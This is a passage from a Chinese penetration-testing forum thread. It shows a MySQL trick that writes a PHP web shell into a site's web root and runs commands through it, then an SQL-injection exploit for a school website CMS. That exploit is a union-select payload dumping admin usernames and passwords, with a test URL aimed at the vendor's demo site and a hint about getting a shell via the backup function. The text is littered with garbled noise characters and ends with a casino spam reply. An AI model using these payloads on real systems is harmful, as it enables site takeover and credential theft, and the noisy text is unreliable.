6 }5 [  G" J8 U, z; Q" |DROP TABLE IF EXISTS study;# MySQL 返回的查询结果为空(即零行)。
8 {4 n  [7 ]5 l0 C6 \% E( Z( g/ d方法四：
select load_file('E:/xamp/www/study.php');
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
然后访问网站目录：http://www.2cto.com/study.php?cmd=dir
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
5 B" L- e* z, Z2 k) t0 T  s
$ i7 ~, }: H( U, FNO.001中学网站管理系统 Build 110628 注入漏洞
& v( _" {7 W8 a. q
3 Y2 ]/ O2 P" m) f* i- G" vNO.001中学网站管理系统功能模块:
0 b) E5 t) T4 g: h) K. J1.管理员资料:网站的基本信息设置（校长邮箱等）,数据库备份,用户管理、部门及权限管理等
8 O6 J$ q, v- y  V8 k0 \2.学校简介:一级分类，可以添加校园简介,领导致辞、校园风光、联系我们。。。等信息
3.文章管理:二级分类,动态添加各相关频道（图片视频频道、学校概况频道除外）文章等信息
4.视频图片管理:一级分类,动态添加视频或者图片等信息
5.留言管理:对留言,修改,删除、回复等管理
0 J. f. @. I9 j& i" m/ i. z& U6.校友频道:包括校友资料excel导出、管理等功能
7.友情链接管理:二级分类，能建立不同种类的友情链接显示在首页
3 g* l, n6 b3 H默认后台:admin/login.asp
官方演示:http://demo.001cms.net
源码下载地址:http://down.chinaz.com/soft/30187.htm
EXP:
union select 1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin
测试:http://demo.001cms.net/shownews.asp?type=新闻动态&stype=校务公开&id=484 union select 1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin
6 ~3 G# c& Z0 @* `- B- b' Q- Zgetshell:后台有备份，你懂的
另:FCK编辑器有几处可利用.大家自己行挖掘,由于相关内容较多，我在这里就不说了。
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

---

作者: 匿名    时间: 2017-10-28 08:21
casino slots
online casino canada
new online casino
slot machines

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2